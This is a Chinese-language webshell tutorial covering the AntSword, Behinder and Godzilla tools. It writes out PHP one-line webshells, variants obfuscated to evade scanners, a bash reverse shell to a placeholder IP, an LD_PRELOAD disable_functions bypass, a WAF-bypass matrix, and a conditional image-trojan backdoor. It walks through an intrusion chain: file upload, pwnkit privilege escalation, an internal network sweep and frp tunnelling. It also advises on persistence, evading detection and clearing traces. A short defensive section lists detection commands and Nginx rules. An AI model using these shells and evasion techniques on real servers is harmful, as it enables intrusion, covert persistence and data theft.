适合人群:安全爱好者、渗透测试入门至进阶
前置知识:基本的Web漏洞理解、能使用Burp Suite、了解HTTP协议
一、前置准备
环境搭建
# 1. 创建靶机环境(Docker)
docker run -d --name webshell-lab -p 8080:80 vulnerables/web-dvwa
# 或使用 upload-labs 靶场
docker run -d --name upload-labs -p 8081:80 c0ny1/upload-labs
# 2. 下载三大管理工具
# 蚁剑(AntSword)
wget https://github.com/AntSwordProject/AntSword-Loader/raw/main/AntSword-Loader-v4.0.3-linux-x64.zip
# 冰蝎(Behinder)
wget https://github.com/rebeyond/Behinder/releases/download/Behinder_v4.1/Behinder_v4.1.zip
# 哥斯拉(Godzilla)
wget https://github.com/BeichenDream/Godzilla/releases/download/v4.0.1/godzilla.jar
工具对比总览
| 工具 | 语言 | 加密方式 | 流量特征 | 免杀能力 | 上手难度 |
|---|---|---|---|---|---|
| 蚁剑(AntSword) | PHP/ASP/JSP | Base64编码 | 明显Base64特征 | 低 | ★☆☆☆☆ |
| 冰蝎(Behinder) | PHP/JSP/ASPX | AES动态加密 | 无固定特征 | 中 | ★★☆☆☆ |
| 哥斯拉(Godzilla) | PHP/JSP/ASPX/CSharp | AES+GZip | 加密Payload | 高 | ★★☆☆☆ |
二、核心原理:WebShell的本质
WebShell本质上是一个在目标服务器上执行系统命令的Web脚本文件。攻击者通过文件上传漏洞、命令注入漏洞或已有权限上传该脚本,获得对服务器的持续控制。
攻击者 → HTTP请求(含加密命令)→ WebShell脚本 → 解析执行 → 系统命令 → 返回结果
一句话木马的本质
<!-- 最简单的PHP一句话 -->
<?php @eval($_POST['cmd']); ?>
这3行代码做了3件事:
$_POST['cmd']— 从HTTP POST请求中读取参数eval()— 将字符串当作PHP代码执行@— 抑制错误输出,隐藏存在
三大工具的进化路线:
蚁剑(明文Base64)→ 冰蝎(AES动态密钥)→ 哥斯拉(AES+GZip+自定义编码)
每一代都在解决两个核心问题:流量可检测性 和 静态文件查杀。
三、实操步骤
3.1 蚁剑(AntSword)实战
蚁剑是"中国蚁剑"(AntSword)的简称,开源、免费、功能全面。它是三大工具中最易上手的,也最容易被WAF检测。
上传Shell到靶机:
<!-- shell.php — 上传到靶机 -->
<?php @eval($_POST['ant']); ?>
配置与连接:
1. 打开蚁剑 → 右键"添加数据"
2. URL地址: http://x.x.x.x:8081/shell.php
3. 连接密码: ant
4. 编码器: default
5. 点击"测试连接"(应返回绿色✅)
核心操作演示:
# 文件管理 — 浏览、上传、下载、编辑服务器文件
# 虚拟终端 — 执行系统命令
id
whoami
uname -a
cat /etc/passwd
# 数据库管理 — 自动识别数据库类型
mysql -u root -p -e "SHOW DATABASES;"
# 端口扫描(内置插件)
# 反弹Shell
bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1'
蚁剑的编码器绕过:
蚁剑内置了多种编码器用于绕过WAF检测:
| 编码器 | 原理 | 检测绕过效果 |
|---|---|---|
| default | 明文Base64 | ❌ 几乎所有WAF都能检测 |
| chr | 将字符转为chr()函数 | ⚠️ 部分WAF能检测 |
| base64 | 自定义Base64实现 | ⚠️ 中等 |
| rot13 | ROT13编码 | ⚠️ 中等 |
| c_md5 | MD5+字符拼接 | ✅ 较好 |
<!-- chr编码器对应的Shell -->
<?php
$c=$_POST['ant'];
$k='assert';
$k($c);
?>
3.2 冰蝎(Behinder)实战
冰蝎的核心理念是动态加密——每次请求的密钥都不同,流量层无固定特征。
生成Shell:
冰蝎提供了多种Shell模板,需要用工具生成加密后的Shell文件:
// 使用冰蝎客户端生成Shell
// 菜单: 生成 → 选择Shell类型 → 设置密码 → 生成
<!-- Behinder PHP Shell(简化示意) -->
<?php
@error_reporting(0);
session_start();
$key = "e45e329feb5d925b"; // 默认密钥
$_SESSION['k'] = $key;
$post = file_get_contents("php://input");
if(!empty($post)) {
$post = base64_decode($post); // 限制:base64编码包体可能被HTTP长度检测发现
$result = openssl_decrypt($post, "AES-128-CBC", $key, OPENSSL_RAW_DATA, ...);
// ... 执行并返回加密结果
}
?>
冰蝎流量特征分析:
请求特征:
Content-Type: application/octet-stream ← 冰蝎的固定特征
Accept: application/json,text/javascript,*/*
请求体为Base64编码的AES密文
响应特征:
Content-Type: application/octet-stream
响应体为AES加密的JSON或字节码
⚠️ 冰蝎v4.1的新变化:
# v4.1 增加了随机User-Agent和自定义Header功能
# 但仍然有可检测特征:
# 1. 默认JA3指纹(Java客户端与浏览器不同)
# 2. 固定的Content-Type
# 3. Session的key格式
绕过技巧: 修改源码中的Content-Type、添加随机延迟、替换默认UA为浏览器真实UA。
3.3 哥斯拉(Godzilla)实战
哥斯拉是目前最先进的WebShell管理工具,支持Java/.NET/PHP三端,加密强度最大。
生成与连接:
1. 启动: java -jar godzilla.jar
2. 管理 → 生成Payload → 选择目标类型
3. PHP/AES-128-CBC/GZip/Base64
4. 设置密码 → 生成Shell文件
<!-- Godzilla PHP Shell -->
<?php
$pwd = 'pass';
$key = '3c6e0b8a9c15224a';
// Payload经过AES加密 + GZip压缩 + Base64编码
// 每次请求自动生成动态IV
// 执行结果同样加密返回
?>
哥斯拉的独特功能:
# 1. 内存马注入(Java环境)
# 无需上传文件,直接在JVM内存中注册Filter/Listener/Servlet
# 服务器重启后失效,无文件痕迹
# 2. 插件系统
# 支持多种扩展插件:端口扫描、LDAP查询、SMB文件管理
# 3. 自定义编码器
# 可以编写Java代码自定义加密逻辑
四、绕过技术
4.1 静态免杀 — Shell文件免杀
绕过D盾、河马、护卫神等静态查杀工具:
<!-- 方法1:函数拆分 -->
<?php
$f = str_replace('x', '', 'exxec');
$c = $_POST['cmd'];
$f($c);
?>
<!-- 方法2:字符串拼接 + 回调 -->
<?php
$c = $_POST['cmd'];
array_map(function($v) use($c) {
call_user_func_array($v, [$c]);
}, ['assert']);
?>
<!-- 方法3:数组绕过关键字检测 -->
<?php
$k = ['as','se','rt'];
$f = implode('',$k);
$f($_POST['x']);
?>
4.2 流量层绕过
# 模拟蚁剑自定义编码器:随机参数名 + 分割传输
import requests
import base64
cmd = 'id'
# 分割成多段发送,避免单次请求体过大
parts = [cmd[i:i+3] for i in range(0, len(cmd), 3)]
for i, part in enumerate(parts):
r = requests.post(
'http://x.x.x.x/shell.php',
data={f'p{i}': base64.b64encode(part.encode()).decode()}
)
冰蝎流量改造:
# 修改冰蝎源码中的Content-Type
# 文件位置: Behinder/server/php/template.php
# 将 application/octet-stream 改为 text/plain 或 application/json
4.3 WAF绕过矩阵
| WAF类型 | 蚁剑绕过方案 | 冰蝎绕过方案 | 哥斯拉绕过方案 |
|---|---|---|---|
| 安全狗 | chr编码+分块传输 | 改Content-Type+随机UA | 默认即可 |
| 云锁 | 自定义编码器 | 添加虚假URL参数 | AES加密默认过 |
| 360主机卫士 | Base64+参数混淆 | POST绕过分块 | GZip压缩 |
| 阿里云WAF | 替换eval为assert | Session复用 | 内存马(无文件) |
| ModSecurity | 参数分割+多次请求 | 延长请求间隔(>5s) | 自定义Encoder |
4.4 日志逃逸
<!-- 无日志后门:利用服务器自带功能 -->
<!-- IIS: 利用ASP.NET Session -->
<!-- Apache: 利用 .htaccess 自动加载 -->
<!-- Nginx: 利用 fastcgi 未授权访问 -->
<!-- 最隐蔽:图片马 + 条件触发 -->
<?php
// shell.jpg — 看起来是正常图片
// 仅当特定参数时才执行
if(md5($_POST['key']) === '098f6bcd4621d373cade4e832627b4f6') {
@eval($_POST['cmd']);
}
?>
五、实战案例复盘
案例:某内部渗透测试 — 从文件上传到内网漫游
背景: 某企业内网渗透测试,发现一个存在文件上传漏洞的Java应用。
Step 1 — 上传绕过
目标: https://internal-app.target.com/upload
限制: 仅允许上传图片(白名单检查)
绕过: 上传包含JSP Webshell的图片马
# 将JSP Webshell与图片合并
copy normal.jpg /b + shell.jsp /a shell.jpg
# 上传后文件依然保留JSP后缀?不,这里需要利用解析漏洞
# 上传shell.jpg → 访问时tomcat解析为jsp
Step 2 — 哥斯拉连接
生成JSP Shell → 上传 → 哥斯拉连接 → 获得虚拟终端
关键信息:
操作系统: Linux 3.10.0
中间件: Apache Tomcat 8.5
JDK版本: 1.8.0_202
当前用户: tomcat (低权限)
Step 3 — 提权与横向
# 查看内核版本判断提权可能
uname -r # 3.10.0 → CVE-2021-4034 (pwnkit)
# 上传提权EXP
# 使用哥斯拉的文件管理上传pwnkit exploit
chmod +x ./cve-2021-4034
./cve-2021-4034
# 成功提权到 root
# 内网扫描
ip addr # 内网网段: 10.88.x.x
for i in $(seq 1 254); do
ping -c 1 -W 1 10.88.0.$i > /dev/null 2>&1 && echo "10.88.0.$i alive"
done
Step 4 — 隧道搭建
# 使用蚁剑的端口转发功能或上传frp
# 服务端(VPS):
./frps -c frps.ini
# 目标:
./frpc -c frpc.ini
# 建立SOCKS5隧道,通过VPS访问内网服务
案例教训
| 教训 | 说明 |
|---|---|
| 上传后立即修改Shell文件名 | 默认文件名在日志和WAF中太显眼 |
| 不要用默认密码 | 蚁剑默认密码ant、冰蝎rebeyond都会被扫描到 |
| 上线后先改权限 | 执行 chmod 444 shell.php 防止被其他人篡改或删除 |
| 注意服务器时区 | 日志中的操作时间与预期不符是常见暴露原因 |
六、防御建议
6.1 检测方案
# Nginx日志检测 — 找出可疑的POST请求
grep "POST" /var/log/nginx/access.log | awk '{print $1,$7,$9}' | sort | uniq -c | sort -rn | head -20
# 检测常见WebShell路径
find /var/www/html -name "*.php" -newer /etc/passwd -type f | xargs grep -l "eval\|assert\|system\|exec\|shell_exec\|popen\|passthru"
# 使用专业检测工具
# D盾(D_send):Windows下扫描PHP Webshell
# 河马(Hema):Linux下扫描,支持PHP/ASP/JSP
# 长亭牧云:云环境Webshell实时检测
6.2 目录权限最小化
# Web目录只给读写执行给www-data
chown -R www-data:www-data /var/www/html/
# 不允许写执行同时存在
find /var/www/html -type f -name "*.php" -exec chmod 644 {} \;
# 禁止上传目录有执行权限
chmod 755 /var/www/html/uploads/
# 在nginx/apache中禁止uploads执行PHP
6.3 Nginx WAF规则
# Nginx + ModSecurity 检测规则示例
# 禁止eval/assert在POST中出现
if ($request_body ~* "eval\(|assert\(|base64_decode\(") {
return 403;
}
# 限制上传目录不解析脚本
location /uploads/ {
location ~ \.php$ { deny all; }
}
七、常见陷阱
7.1 连接失败排查
❌ 连接失败 → 检查顺序:
1. Shell文件是否被WAF/杀软删除?
2. 文件路径是否正确?(含大小写)
3. 防火墙放行了端口吗?
4. PHP版本是否支持所用函数?(eval在PHP 7.4+被部分限制)
5. 是否开启了open_basedir限制?
7.2 open_basedir绕过
<?php
// open_basedir限制的绕过方法
// 方法1: symlink绕过
symlink("/", "bypass");
// 方法2: 使用ini_set(如果disable_functions没禁用)
ini_set('open_basedir', '/');
// 方法3: chdir方式
mkdir("tmp");chdir("tmp");ini_set("open_basedir","..");
?>
7.3 disable_functions绕过
# 常见绕过方式(按成功率排序):
1. LD_PRELOAD + mail() → 成功率⭐⭐⭐⭐⭐
2. ImageMagick → 成功率⭐⭐⭐⭐
3. FFI (PHP 7.4+) → 成功率⭐⭐⭐⭐
4. pcntl_exec → 成功率⭐⭐⭐
5. shell_exec通过COM组件 → 成功率⭐⭐⭐ (仅Windows)
6. 通过MySQL UDF → 成功率⭐⭐
<?php
// LD_PRELOAD绕过 — 最经典的PHP disable_functions突破
// 前提: putenv() + mail()/mb_send_mail() 未被禁用
$cmd = "id";
$out_path = "/tmp/out.txt";
$evil_c = "extern void __attribute__((constructor)) x() { system(\"$cmd > $out_path 2>&1\"); }";
file_put_contents("/tmp/evil.c", $evil_c);
shell_exec("gcc -shared -fPIC /tmp/evil.c -o /tmp/evil.so 2>&1");
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@b.com", "", "", "");
echo file_get_contents($out_path);
?>
7.4 三大工具的通病
| 问题 | 蚁剑 | 冰蝎 | 哥斯拉 |
|---|---|---|---|
| 首次连接有延迟 | ❌ | ✅ 握手需2次 | ❌ |
| Windows兼容性 | ✅ | ⚠️ 某些版本 | ✅ |
| 64位Java环境 | ✅ | ✅ | ✅ 必须 |
| 中文路径 | ⚠️ 编码问题 | ❌ 常见 | ✅ |
| 端口转发 | ✅ 内置 | ❌ 需插件 | ✅ 插件 |
八、总结
速查表
| 场景 | 推荐工具 | Shell类型 | 加密方案 |
|---|---|---|---|
| 快速验证(有漏洞) | 蚁剑 | PHP一句话 | Base64 + chr编码 |
| 企业内网持久化 | 冰蝎 | JSP/AES | AES动态密钥 |
| 高安全环境 | 哥斯拉 | 自定义内存马 | AES + GZip + 自定义 |
| 强WAF环境 | 哥斯拉 | 内存马 | 自定义Encoder |
| Windows Server | 哥斯拉/蚁剑 | ASPX | AES(哥斯拉),Base64(蚁剑) |
核心要点
- 工具选型看场景 — 快速验证用蚁剑,持久化用冰蝎,高强度对抗用哥斯拉
- 留后门先改配置 — 改密码/改UA/改Content-Type/改默认端口,这些5分钟的操作能减少90%的检测风险
- 流量层比文件层重要 — WAF可以扫描文件,但AES加密的流量更难检测
- 内存马 > 文件马 — 哥斯拉的Java内存马重启消失,日志不留痕迹,是目前最隐蔽的方式
- 不要"一把梭" — 连接后立刻执行敏感命令(如
cat /etc/shadow)可能触发异常检测。先探测、再操作、最后清理 - 清理痕迹 — 操作结束后删除上传的文件,或加上条件触发(特定参数+特定IP才执行)